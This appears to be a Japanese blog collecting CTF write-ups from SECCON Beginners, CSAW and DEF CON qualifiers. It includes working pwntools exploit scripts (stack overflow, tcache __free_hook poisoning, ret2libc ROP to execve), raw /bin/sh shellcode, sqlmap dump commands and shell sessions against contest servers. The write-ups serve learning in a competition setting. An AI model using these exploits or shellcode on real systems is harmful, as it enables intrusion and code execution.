0x00007ffde30d9d70 | 0x00007f0183db3620 |
                   +--------------------+
0x00007ffde30d9d78 | 0x00007ffde30d9e58 |
                   +--------------------+
Input: 

いきなりwinに飛ぶとRSPのアラインメントがダメだと教えてくれる。優しみ。system関数の呼び出しで16byte alignされていないとsystem関数内でSEGVになるらしい。

f:id:amaga38:20200524164810j:plain

適当なreturn命令があるところに1度飛ばして、そのあとwinへ飛ぶようにstackを調整したらshellが取れた。

from pwn import *

srv = 'bs.quals.beginners.seccon.jp'
port = 9001
bin = ELF('./chall')

conn = remote(srv, port)
t = conn.recvuntil(b'Input:')
print(t)

buf = b'A' * 32
buf += b'\x00' * 8
buf += b'\xf0\x07\x40\x00' + b'\x00' * 4  # returnだけしてくる
buf += b'\x61\x08\x40\x00' + b'\x00' * 4  # winのアドレス

print(buf)
conn.sendline(buf)
print('sendline')
conn.interactive()
conn.close()

'''
Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$ 
'''

FLAG: ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}

Beginner's Heap (293pt)

Let's learn how to abuse heap overflow!

nc bh.quals.beginners.seccon.jp 9002

ファイルの提供はなし。ncでつなぐと1~6のコマンドを送信できるプログラムにつながる。heapの状況とtcacheの状況も確認できる。優しみ。

以下の操作でフラグが取れた。

    1. B = malloc
    1. free(B) // tcacheにつなげる
    1. read(0, A, 0x80) // 元Bのチャンクの領域を上書きして、tcache -> 元B -> __free_hook 4. の状態をつくる
    1. B = malloc // tcacheからBのチャンクを取得。tcacheは__free_hook のアドレスだけ残る。
    1. read(0, A, 0x80) // Bのチャンクのサイズ情報をtcacheにつながらない大きなサイズへと上書き
    1. free(B) // tcacheにつながらない。残りは __free_hookのアドレス
    1. B = malloc // free_hookのアドレスがくる。read()で __free_hookのアドレスが指す情報にwinのアドレスを上書き
    1. B = malloc // __free_hookが呼び出されるタイミングで、winが呼ばれて、flagゲット
# -*- coding: utf-8 -*-

"""
$ nc bh.quals.beginners.seccon.jp 9002
Let's learn heap overflow today
You have a chunk which is vulnerable to Heap Overflow (chunk A)

 A = malloc(0x18);

Also you can allocate and free a chunk which doesn't have overflow (chunk B)
You have the following important information:

 <__free_hook>: 0x7f8ce802f8e8
 <win>: 0x555afa892465

Call <win> function and you'll get the flag.

1. read(0, A, 0x80);
2. B = malloc(0x18); read(0, B, 0x18);
3. free(B); B = NULL;
4. Describe heap
5. Describe tcache (for size 0x20)
6. Currently available hint
> 
"""
import sys
import re
import time
from pwn import *

def send_cmd(conn, cmd, buf=b''):
    print('Send Command:', cmd)
    time.sleep(1)
    conn.sendline(cmd)
    if cmd == b'1' or cmd == b'2':
        time.sleep(1)
        conn.sendline(buf)
    t = conn.recvuntil(b'> ')
    if cmd == b'4' or cmd == b'5':
        print(t.decode('utf-8'))


def main():
    srv = 'bs.quals.beginners.seccon.jp'
    port = 9002

    conn = remote(srv, port)
    t = conn.recvuntil(b'\n> ')
    print(t)

    # get address of __free_hook, win
    free_hook_addr = re.search(b'(?<=\<__free_hook\>: )0x[0-9a-f]+', t)[0]
    win_addr = re.search(b'(?<=\<win\>: )0x[0-9a-f]+', t)[0]

    print('free_hook', free_hook_addr)
    print('win', win_addr)

    # 2. B = malloc, read
    send_cmd(conn, b'2', b'A'*8)

    # 3. free(B), B = NULL
    send_cmd(conn, b'3')

    # 1. read(0, A, 0x80)
    buf = b'A' * 0x18
    buf += b'\x21' + b'\x00' * 7
    buf += p64(int(free_hook_addr, 16))
    send_cmd(conn, b'1', buf)

    send_cmd(conn, b'5')
    send_cmd(conn, b'4')

    # 2. B = malloc, read
    send_cmd(conn, b'2', b'A'*8)
    
    # 1. read(0, A, 0x80)
    # for free chunk B to not tcache area
    buf = b'A' * 0x18
    buf += b'\x01' + b'\x01' + b'\x00' * 6
    send_cmd(conn, b'1', buf)
    send_cmd(conn, b'4')
    # 3. free(B), B = NULL
    send_cmd(conn, b'3')
    
    # 2. B = malloc, read
    # overwrite __free_hook with win
    buf = p64(int(win_addr, 16))
    send_cmd(conn, b'2', buf)
    send_cmd(conn, b'5')
    send_cmd(conn, b'4')

    # 2. B = malloc, read
    send_cmd(conn, b'2', buf)
    #send_cmd(conn, b'3')

    conn.interactive()
    conn.close()

main()

'''
Congratulations!
ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}
'''

FLAG: ctf4b{l1bc_m4ll0c_h34p_0v3rfl0w_b4s1cs}

以上!

CSAW CTF'19 Quals write-up

2019/09/14 05:00-2019/09/16 05:00 (48H) に開催されたCSAW CTFのWrite-upです。チーム名: whitecatsで出場して、101pt. 388位でした。 

Misc

MCGRIDDLEV2 (1pt)

flag{W3lcome_7o_CSAW_QUALS_2019!}

ウェルカムフラグ

Flag: flag{W3lcome_7o_CSAW_QUALS_2019!}

Rev

BELEAF (50pt)

tree sounds are best listened to by https://binary.ninja/demo or ghidra

標準入力にフラグを入力する問題。とりあえずIDAでmainを眺める。

f:id:amaga38:20190917214510j:plain
main

0x912でフラグの文字列長の検査。0x20より長いらしい。

その後、1文字ずつsub_7FAの関数に渡して、チェック。戻り値(%rax)とunk_2014E0+idxの値が同じなら正解でループ継続。文字数分わかればOK。

sub_7FAの中では、0x201020にあるフラグ文字列のパーツっぽいデータ(8byte毎)と引数で渡された1文字を比較し、一致した文字のインデックスを呼び出し元に返却する。

なので、unk_2014E0のindex値の位置にあるフラグ文字列のパーツを順に取り出して繋げれば、フラグが得られる。

ソルバー

with open('beleaf', 'rb') as f:
    data = f.read()

flag_parts = data[0x1020:0x10e0:4]
corr_idx = data[0x14e0:0x15e8:8]

flag = ''
for i in corr_idx:
    flag += chr(flag_parts[i])
print(flag)
# flag{we_beleaf_in_your_re_future}

Flag: flag{we_beleaf_in_your_re_future}

Pwn

baby_boi (50pt)

Welcome to pwn.

nc pwn.chal.csaw.io 1005

FILES

#include <stdio.h>
#include <stdlib.h>

int main(int argc, char **argv[]) {
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  char buf[32];
  printf("Hello!\n");
  printf("Here I am: %p\n", printf);
  gets(buf);
}

ソースコードは、gets関数を使ったバッファオーバーフロー脆弱性があるので、Stack BoF で攻撃する。また、printf関数のアドレスも教えてもらえるので、libcのベースアドレスを計算して、ミニROPでexecve関数を呼び出して、シェルを取った。execveのパーツは、与えられたlibcからよさげな↓を探して利用。

   e569f:       48 8d 3d f4 e7 0c 00    lea    0xce7f4(%rip),%rdi        # 1b3e9a <_libc_intl_domainname@@GLIBC_2.2.5+0x186>
   e56a6:       4c 89 e2                mov    %r12,%rdx
   e56a9:       4c 89 f6                mov    %r14,%rsi
   e56ac:       e8 7f f7 ff ff          callq  e4e30 <execve@@GLIBC_2.2.5>

飛ばした先のexecveの引数の準備で、第2引数と第3引数に0を代入しておく必要があった。アセンブリ上は、%r12%r14がそれぞれ引数に代入されるので、ROPする直前で値が0でなかった%r12にPOP命令でゼロを代入した。

  • 第2引数: %rsi%r14
  • 第3引数: %rdx%r12

ソルバーはこんな感じに。

from pwn import *

srv = 'pwn.chal.csaw.io'
#srv = 'localhost'
port = 1005
bin = ELF('./baby_boi')
libc = ELF('./libc-2.27.so')

conn = remote(srv, port)
t = conn.recvline_contains((b'Here I am:'))
print(t)

'''
$ readelf -s ./libc-2.27.so |grep printf
   :
   627: 0000000000064e80   195 FUNC    GLOBAL DEFAULT   13 printf@@GLIBC_2.2.5
   :
'''
printf_addr = int(t[t.index(b'0x'):], 16)
libc_base = printf_addr - libc.symbols[b'printf']
print(hex(printf_addr))

'''
0x00023992: pop r12 ; ret  ;  (203 found)
'''
pop_r12 = 0x23992

'''
   e569f:       48 8d 3d f4 e7 0c 00    lea    0xce7f4(%rip),%rdi        # 1b3e9a <_libc_intl_domainname@@GLIBC_2.2.5+0x186>
   e56a6:       4c 89 e2                mov    %r12,%rdx
   e56a9:       4c 89 f6                mov    %r14,%rsi
   e56ac:       e8 7f f7 ff ff          callq  e4e30 <execve@@GLIBC_2.2.5>
'''

buf = b'A' * 32
buf += b'b' * 8

buf += p64(libc_base + pop_r12, endianness='little')
buf += p64(0, endianness='little') # for pop r12
buf += p64(libc_base + 0xe569f, endianness='little')

conn.sendline(buf)
conn.interactive()
conn.close()

実行結果

$ python3 solve.py 
[*] '/media/sf_onedrive_ctf/CSAW_2019/pwn/baby_boi_50/baby_boi'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/media/sf_onedrive_ctf/CSAW_2019/pwn/baby_boi_50/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to pwn.chal.csaw.io on port 1005: Done
b'Here I am: 0x7f7e9378ae80'
0x7f7e9378ae80
0x7f7e93775440
0x7f7e938d9e9a
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbbbbbbbb\x92\x99t\x93~\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x9f\xb6\x80\x93~\x7f\x00\x00ffffffff\x9a\x9e\x8d\x93~\x7f\x00\x00'
[*] Switching to interactive mode
$ ls
baby_boi
flag.txt
$ cat flag.txt
flag{baby_boi_dodooo_doo_doo_dooo}

Flag: flag{baby_boi_dodooo_doo_doo_dooo}

おまけ (解けなかった問題

Pwn gotmilk (50pt)

GlobalOffsetTable milk? nc pwn.chal.csaw.io 1004

format string攻撃ができる脆弱性があり、脆弱性のあるprintf呼び出しの後に呼び出されているlibmylib.solose関数に関するGOT(Global Offset Table)のアドレスを上書きできればOK。

shortサイズの値を指定のアドレスに書き込める%hnを使って手元環境ではうまくいっていたが、本番サーバーでは攻撃を送り込んだ直後にサーバー側からFINを投げられて通信が終わってしまいダメだった。。。当日は、ここで断念。。。

解けたチームのWrite-upを見ていたら%hhn(!?)で1byte書き込んで成功していた。。。%hhnとかあったのね~。勉強が足りぬ~~。%hnは書き込みサイズが大きすぎとかで弾かれていたのかな。。。

以上でっす!

SECCON Beginers CTF 2019 write-up

2019/05/25 15:00 - 05/26 15:00 (24H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して1274pt. 全体77位で個人成績?では61位でした。

MISC

containers

Let's extract files from the container. https://score.beginners.seccon.jp/files/e35860e49ca3fa367e456207ebc9ff2f_containers

ファイルを抽出

# -*- coding: utf-8 -*-
import re


def main():
    with open('./containers', 'rb') as f:
        data = f.read()

    cnt, idx = 0, 0
    files = []
    fb = re.compile(b'FILE.*\.')
    vld = b'VALIDATOR'

    tmp = fb.search(data[idx:])
    s, e = tmp.start(), tmp.end()
    idx = e
    while True:
        tmp = fb.search(data[idx:])
        if tmp:
            s, e = tmp.start(), tmp.end()
            files.append((idx, idx+s))
            idx += e
        else:
            val_idx = re.search(vld, data[idx:])
            files.append((idx, idx+val_idx.start()))
            break
        cnt += 1

    print(cnt, files)
    cnt = 0
    for f in files:
        s, e = f[0], f[1]
        d = data[s:e]
        fname = 'con_' + str(cnt) + '.png'

        with open(fname, 'wb') as f:
            f.write(d)
        cnt += 1


if __name__ == '__main__':
    main()

抽出できたPNGファイル順番通りに並べればフラグっぽい。 f:id:amaga38:20190525232039j:plain

一応、確認

$ echo -n 'ctf4b{e52df60c058746a66e4ac4f34db6fc81}' | sha1sum 
3c90b7f38d3c200d8e6312fbea35668bec61d282  -

Flag: ctf4b{e52df60c058746a66e4ac4f34db6fc81}

Dump

Analyze dump and extract the flag!! https://score.beginners.seccon.jp/files/fc23f13bcf6562e540ed81d1f47710af_dump

DLしたバイナリを見たらpcapっぽかったので、まずは拡張子をpcapにしてWiresharkで開いた。パケットはHTTPパケットだったので、メニューのファイル→オブジェクトをエクスポート→HTTP でHTTPコンテンツを出力した。

HTMLコンテンツの中は8進数みたいな値が並んでいた。

037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133
327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252
164 220 052 275 051 204 044 100 050 011 044 024 101 120 274 166
244 010 010 050 315 002 110 023 024 244 012 330 005 351 012 012
322 024 245 011 202 205 242 202 212 337 204 216 242 357 175 336
365 177 336 265 376 337 372 346 072 316 231 275 177 173 237 175
366 331 247 346 070 127 106 126 306 331 315 033 355 056 343 351
353 016 374 227 056 030 014 246 050 057 017 245 074 225 024 025
026 236 060 304 342 373 302 045 247 000 207 302 345 344 025 020
162 012 010 230 022 002 012 203 313 301 345 140 000 024 366 337

WEBページのタイトルを見てみるとWeb Shellとなっているのと、Wiresharkで保存されたファイル名が、webshell.php%3fcmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag.htmlになっていたので、やはりhexdumpでflagファイルの中を8進数で表示したものらしい。

ソルバー(HTMLコンテンツから8進数の部分だけ抜き出し、dump.txtとして保存して実行)

with open('dump.txt', 'r') as f:
    data = f.read()
octs = data.split()
bytes = map(lambda x: int(x, 8).to_bytes(1, 'little'), octs)
with open('dump_data.txt', 'wb') as f:
    for b in bytes:
        f.write(b)

tar.gzぽかったので、tarコマンドで回答したらフラグのJPEGがでてきた。

Flag: ctf4b{hexdump_is_very_useful}

Web

Ramen

SQL injectionとかよくわからないので、sqlmapをつかったら出た。

$ sqlmap --tables -u https://ramen.quals.beginners.seccon.jp/?username=

$ sqlmap -T flag -- dump -u https://ramen.quals.beginners.seccon.jp/?username=

Flag: ctf4b{a_simple_sql_injection_with_union_select}

Crypto

[warmup] So Tired

最強の暗号を作りました。 暗号よくわからないけどきっと大丈夫! File: so_tired.tar.gz https://score.beginners.seccon.jp/files/7e9eb0636de2cad98b1eee3b667aea6c_so_tired.tar.gz

ファイルをtarコマンドで回答すると、Base64文字列が書いてあるテキストファイルがでてくる。base64デコードするとバイナリがでてくる。fileコマンドで調べてみるとzlibで圧縮されたデータらしい。

$ cat encrypted.txt | base64 -d > d64.txt
$ file d64.txt 
d64.txt: zlib compressed data

試しに解凍してみるとまたbase64文字列がでてきたので、繰り返しだろーなーと思って、以下のソルバーを書いて解いた。

# -*- coding: utf-8 -*-
import base64
import zlib


def main():
    with open('encrypted.txt', 'rb') as f:
        data = f.read()

    cnt = 0
    tmp = data[:]
    while True:
        b64d = base64.b64decode(tmp)
        zdec = zlib.decompress(b64d)
        if zdec.find(b'ctf4b') != -1:
            print(cnt)
            print(zdec)
            break
        tmp = zdec[:]
        cnt += 1


if __name__ == '__main__':
    main()

# $ python solve.py 
# 499
# ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

Flag: ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}

Reversing

[warmup] Seccompare

https://score.beginners.seccon.jp/files/seccompare_44d43f6a4d247e65c712d7379157d6a9.tar.gz

IDAで眺めてみるとstack上にFlagっぽい文字列を用意して、0x4006b9コマンドライン引数と比較している。 f:id:amaga38:20190525172636j:plain

strcmpされる前のstackを見ればフラグが見えるはずなので、gdb-pedaで適当に0x4006a4にブレイクポイントを設定して実行。

$ gdb -q --args seccompare ctf4bxxxxxxxxxxx
Reading symbols from seccompare...(no debugging symbols found)...done.
gdb-peda$ b *0x4006a4
Breakpoint 1 at 0x4006a4
gdb-peda$ r
Starting program: /seccompare ctf4bxxxxxxxxxxx

[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x400700 (<__libc_csu_init>: push   r15)
RDX: 0x7fffffffdfd0 --> 0x7fffffffe340 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffdfb8 --> 0x7fffffffe2e3 ("...")
RDI: 0x2 
RBP: 0x7fffffffded0 --> 0x400700 (<__libc_csu_init>:   push   r15)
RSP: 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe2e3 ("...")
RIP: 0x4006a4 (<main+189>:    mov    rax,QWORD PTR [rbp-0x40])
R8 : 0x7ffff7dd0d80 --> 0x0 
R9 : 0x7ffff7dd0d80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x400500 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffdfb0 --> 0x2 
R14: 0x0 
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400698 <main+177>:   mov    BYTE PTR [rbp-0x16],0x68
   0x40069c <main+181>:   mov    BYTE PTR [rbp-0x15],0x7d
   0x4006a0 <main+185>:   mov    BYTE PTR [rbp-0x14],0x0
=> 0x4006a4 <main+189>:    mov    rax,QWORD PTR [rbp-0x40]
   0x4006a8 <main+193>:   add    rax,0x8
   0x4006ac <main+197>:   mov    rdx,QWORD PTR [rax]
   0x4006af <main+200>:   lea    rax,[rbp-0x30]
   0x4006b3 <main+204>:   mov    rsi,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe2e3 ("...")
0008| 0x7fffffffde98 --> 0x20040074d 
0016| 0x7fffffffdea0 ("ctf4b{5tr1ngs_1s_n0t_en0ugh}")
0024| 0x7fffffffdea8 ("r1ngs_1s_n0t_en0ugh}")
0032| 0x7fffffffdeb0 ("_n0t_en0ugh}")
0040| 0x7fffffffdeb8 --> 0x7d686775 ('ugh}')
0048| 0x7fffffffdec0 --> 0x7fffffffdfb0 --> 0x2 
0056| 0x7fffffffdec8 --> 0x93dbe948b0632700 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00000000004006a4 in main ()

Flag: ctf4b{5tr1ngs_1s_n0t_en0ugh}

Leakage

コマンドライン引数に正しいFlag文字列を与えて実行するとcorrectと出力される実行ファイルみたい。

is_correctという関数でバイナリ内にある難読化したフラグ文字列を1文字ずつconvertという関数内で元に戻している。 f:id:amaga38:20190525183429j:plain

始めは慣れていないangrでチャレンジしてみたが、なぜか解けない。gdbでやれば答えがでるのは、わかっているのであきらめてgdbでチマチマ解いた。

is_correct関数の 0x400630 にブレイクポイントを設定して、そのときの$eaxの値がconvertで変換されたフラグの1文字がわかる。あとはそれを繰り返す。

$ cat gdb_cmd 
start
break *0x400630
ignore 2 24
run

$ gdb -q -x gdb_cmd --args ./leakage ctf4b{le4k1ng_th3_xxxxxxxxxxxxxxx}
 :
 :
gdb-peda$ c
Continuing.
$4 = 0x66

[----------------------------------registers-----------------------------------]
RAX: 0x66 ('f')
RBX: 0x0 
RCX: 0x0 
RDX: 0x9 ('\t')
RSI: 0x1fabee32 
RDI: 0xfc1dbaf2 
RBP: 0x7fffffffdee0 --> 0x7fffffffdf00 --> 0x400bc0 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffdec0 --> 0x1 
RIP: 0x400630 (<is_correct+73>:   mov    BYTE PTR [rbp-0x5],al)
R8 : 0x3ba0b0d7 
R9 : 0x7fe82c73 
R10: 0x6f47b3e6 
R11: 0x9f643160 
R12: 0x400500 (<_start>:  xor    ebp,ebp)
R13: 0x7fffffffdfe0 --> 0x2 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x400626 <is_correct+63>:  movzx  eax,al
   0x400629 <is_correct+66>:  mov    edi,eax
   0x40062b <is_correct+68>:  call   0x4006d0 <convert>
=> 0x400630 <is_correct+73>:   mov    BYTE PTR [rbp-0x5],al
   0x400633 <is_correct+76>:  mov    eax,DWORD PTR [rbp-0x4]
   0x400636 <is_correct+79>:  movsxd rdx,eax
   0x400639 <is_correct+82>:  mov    rax,QWORD PTR [rbp-0x18]
   0x40063d <is_correct+86>:  add    rax,rdx
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdec0 --> 0x1 
0008| 0x7fffffffdec8 --> 0x7fffffffe359 ("ctf4b{le4k1ng_th3_", 'x' <repeats 15 times>, "}")
0016| 0x7fffffffded0 --> 0x7ffff7de59a0 (<_dl_fini>:   push   rbp)
0024| 0x7fffffffded8 --> 0x125f000000 
0032| 0x7fffffffdee0 --> 0x7fffffffdf00 --> 0x400bc0 (<__libc_csu_init>:    push   r15)
0040| 0x7fffffffdee8 --> 0x4006aa (<main+74>:  test   eax,eax)
0048| 0x7fffffffdef0 --> 0x7fffffffdfe8 --> 0x7fffffffe314 ("/media/sf_onedrive_ctf/SECCON_Beginners_CTF_2019/rev/leakage/leakage")
0056| 0x7fffffffdef8 --> 0x200000000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000000000400630 in is_correct ()
gdb-peda$ q

フラグ文字列がすべてわかるまでひたすら繰り返す。 Flag: ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}

Linear Operation

次はangrでうまくいった。

# -*- coding: utf-8 -*-
import angr
import claripy

def main():
    key_len = 63

    pj = angr.Project('./linear_operation')
    input = claripy.BVS('input', 8*key_len)
    init_state = pj.factory.entry_state(args=['./linear_operation'])

    for b in input.chop(key_len):
        init_state.add_constraints(b != 0)

    sm = pj.factory.simgr(init_state)

    # main
    sm.explore(find=0x40cf78, avoid=[0x40cf86])
    for f in sm.found:
        print(f.posix.dumps(0))
        print(f.posix.dumps(1))


if __name__ == '__main__':
    main()
$ python3 solve.py 
WARNING | 2019-05-25 20:04:23,268 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state
WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.
WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | Filling register r15 with 8 unconstrained bytes referenced from 0x40cfb0 (__libc_csu_init+0x0 in linear_operation (0x40cfb0))
WARNING | 2019-05-25 20:04:23,273 | angr.state_plugins.symbolic_memory | Filling register r14 with 8 unconstrained bytes referenced from 0x40cfb2 (__libc_csu_init+0x2 in linear_operation (0x40cfb2))
WARNING | 2019-05-25 20:04:23,277 | angr.state_plugins.symbolic_memory | Filling register r13 with 8 unconstrained bytes referenced from 0x40cfb7 (__libc_csu_init+0x7 in linear_operation (0x40cfb7))
WARNING | 2019-05-25 20:04:23,280 | angr.state_plugins.symbolic_memory | Filling register r12 with 8 unconstrained bytes referenced from 0x40cfb9 (__libc_csu_init+0x9 in linear_operation (0x40cfb9))
WARNING | 2019-05-25 20:04:23,287 | angr.state_plugins.symbolic_memory | Filling register rbx with 8 unconstrained bytes referenced from 0x40cfca (__libc_csu_init+0x1a in linear_operation (0x40cfca))
WARNING | 2019-05-25 20:04:23,378 | angr.state_plugins.symbolic_memory | Filling register cc_ndep with 8 unconstrained bytes referenced from 0x4005b1 (register_tm_clones+0x21 in linear_operation (0x4005b1))
b'ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}'

Flag: ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}

Pwn

[warmup] shellcoder

shellcodeを標準入力から読み込み、shellcodeに[binsh]が含まれていないかstrchrでチェックし、OKならshellcodeを実行してくれる。

f:id:amaga38:20190526012717j:plain

strchrのチェックは\x00がある位置で終了なので、shellcodeの先頭に影響のない↓のコードを入れておく。shellcode本体は、ももいろテクノロジー - x64でスタックバッファオーバーフローをやってみるから頂いた。

B6 00   mov dh, 0

最終的なソルバー

# -*- coding: utf-8 -*-
from pwn import *

srv = '153.120.129.186'
port = 20000

bin = ELF('./shellcoder')

conn = remote(srv, port)
conn.recvuntil('Are you shellcoder?\n')
buf = b'\xb6\x00\x31\xD2\x52\x48'
buf += b'\xb8\x2f\x62\x69\x6e\x2f\x2f\x73'
buf += b'\x68\x50\x48\x89\xe7\x52\x57\x48'
buf += b'\x89\xe6\x48\x8d\x42\x3b\x0f\x05'
conn.sendline(buf)

conn.interactive()
conn.close()

実行結果

$ python3 solve.py 
[*] '/media/sf_onedrive_ctf/SECCON_Beginners_CTF_2019/pwn/shellcoder/shellcoder'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 153.120.129.186 on port 20000: Done
[*] Switching to interactive mode
$ ls
flag.txt
shellcoder
$ cat flag.txt
ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

Flag: ctf4b{Byp4ss_us!ng6_X0R_3nc0de}

以上!

DEF CON CTF Qualifier 2019 write-up

5/11 0:00-5/13 0:00(UTC) に開催されたDEF CON CTF Qualifier 2019で解けた問題のwrite-upです。チーム名 whitecas でソロ参加し、310pts獲得して148位でした。

welcome_to_the_game

参加表明?的なフラグ提出。

Welcome to the 2019 DEF CON CTF quals! Let's start it out with a free flag :) If you can't submit it and get points there must be something very wrong, and we hope it's on your end :D

Flag: OOO{Game on!}

cant_even_unplug_it

You know, we had this up and everything. Prepped nice HTML5, started deploying on a military-grade-secrets.dev subdomain, got the certificate, the whole shabang. Boss-man got moody and wanted another name, we set up the new names and all. Finally he got scared and unplugged the server. Can you believe it? Unplugged. Like that can keep it secret…

なにやらmilitary-grade-secrets.devサブドメインで提供していたWEBサービス?があったんだけど、ボスがびびってサーバーをネットワークから切り離したからコンテンツ見れんぞ。という設定の問題らしい。

とりあえず、subdomain のスキャナツールを探し、OWASPのツールでAmassというのを使ってみた。

結果

$ sudo docker run amass --passive -d military-grade-secrets.dev
secret-storage.military-grade-secrets.dev
now.under.even-more-militarygrade.pw.military-grade-secrets.dev
www.military-grade-secrets.dev

OWASP Amass v2.9.10                               https://github.com/OWASP/Amass
--------------------------------------------------------------------------------
3 names discovered - cert: 2, scrape: 1

secret-storage.military-grade-secrets.devにアクセスしてみると、forget-me-not.even-more-militarygrade.pw へ302リダイレクトされる。でもSYN/ACKが返ってこない。これがUnplugってことかな?

別の方法を考えてみてCensysでforget-me-not.even-more-militarygrade.pw IPv4アドレス206.189.162.22の検索を試してみる。

f:id:amaga38:20190511110201j:plain
censysの記録

Censysがアクセスしたときのコンテンツを記録してくれているみたいで、おっ!?と思い、HTTPコンテンツを覗いてみるとフラグがあった。

f:id:amaga38:20190511110045j:plain

cant_even_unplug_itのflag

Flag: OOO{DAMNATIO_MEMORIAE}

know_your_mem

pwn練習問題?Shellcodeを提出して、フラグを表示させれば勝ち。

問題ファイルは、練習用ファイル(simplified.c)と本番サーバーと同じソースファイル(know_your_mem.c) があり、練習用ファイルはヒント表示がある。ソースとしては一緒だが、simplified.cは、simplified_shellcode.so.cコンパイルしてできるsimplified_shellcode.soshellcodeという関数を呼び出し、know_your_mem.cは、標準入力からfreadしたshellcodeをメモリ上に格納し、処理をしてくれる。

フラグは、ファイルからreadした文字列を0x0000100000000000UL0x00001ffffffff000ULの間のランダムな場所にmmapで確保されたメモリー領域に格納されている。

コマンドプロンプトmake checkとすれば、shellcodeのテストができる。simplified.cはフラグが格納されているアドレスのポインタを突き止めればOK。know_your_mem.cは、そのポインタを利用してフラグを表示すればOK。

$ make check
 :
./topkt.py shellcode.bin
./simplified
[ ] This challenge may be slightly easier in Linux 4.17+. Here, we're running on Linux 4.18.0-18-generic (x86_64)
Loading your simplified solution from ./simplified_shellcode.so
[ ] Putting the flag somewhere in memory...
Secret loaded (header + 107 bytes)
[H] The flag is at 0x107bfb3f9000
[ ] Putting red herrings in memory...
[H] Red herring at 0x1631b4f87000
[H] Red herring at 0x191914eea000
 :
[H] Red herring at 0x1cd4c7262000
[H] Red herring at 0x171470311000
[*] seccomp filter now active!
Hi! Soon I'll be your shellcode!
[*] Your shellcode returned 0x107bfb3f9000
[^] Success! Make sure you're also printing the flag, and that it's not taking too long. Next: convert your solution to raw shellcode -- you can start with C code, BTW! shellcode.c shows one way to do it.
Good, the simplified version worked! Let's now try raw shellcode...
./know_your_mem < shellcode.bin.pkt | tee | fgrep --text 'OOO{theflagwillbehere}'
[ ] Putting the flag somewhere in memory...
[ ] Putting red herrings in memory...
[*] seccomp filter now active!
[*] Your shellcode returned 0x19900cd26000

フラグ文字列を指すポインタを求める処理は↓のように書いた。ポインタは、mmapの返却値としてstack上に一時保存していた値が残っているので、stack上の値を適当に検索して、保存対象のアドレス範囲を指すポインタ値っぽいかどうか雑に比較して求めた。

// This is an example of turning simple C into raw shellcode.

// make shellcode.bin will compile to assembly
// make shellcode.bin.pkt will prepend the length so you can
//    ./know_your_mem < shellcode.bin.pkt

// Note: Right now the 'build' does not support .(ro)data
//       If you want them you'll have to adjust the Makefile.
//       They're not really necessary to solve this challenge though.


// From https://chromium.googlesource.com/linux-syscall-support/
static int my_errno = 0;
#define SYS_ERRNO my_errno
#include "linux-syscall-support/linux_syscall_support.h"

#define ADDR_MIN   0x0000100000000000UL
#define ADDR_MASK  0x00000ffffffff000UL

void* _start()
{
    //sys_write(1, __builtin_frame_address(0), 5);  // Prints something (note: best avoid literals)
    //sys_exit_group(2);                            // Exit

    void **pt;

    pt = (void**)(((unsigned long)&pt) - 0x100);
    while (1){
        if ((unsigned long)*pt < 0x00001ffffffff000UL
            && (unsigned long)*pt > ADDR_MIN) {
            return *pt;
        }
        pt = (void**)((unsigned long)pt + 0x4);
    }

    return (void*)0x1234;
}

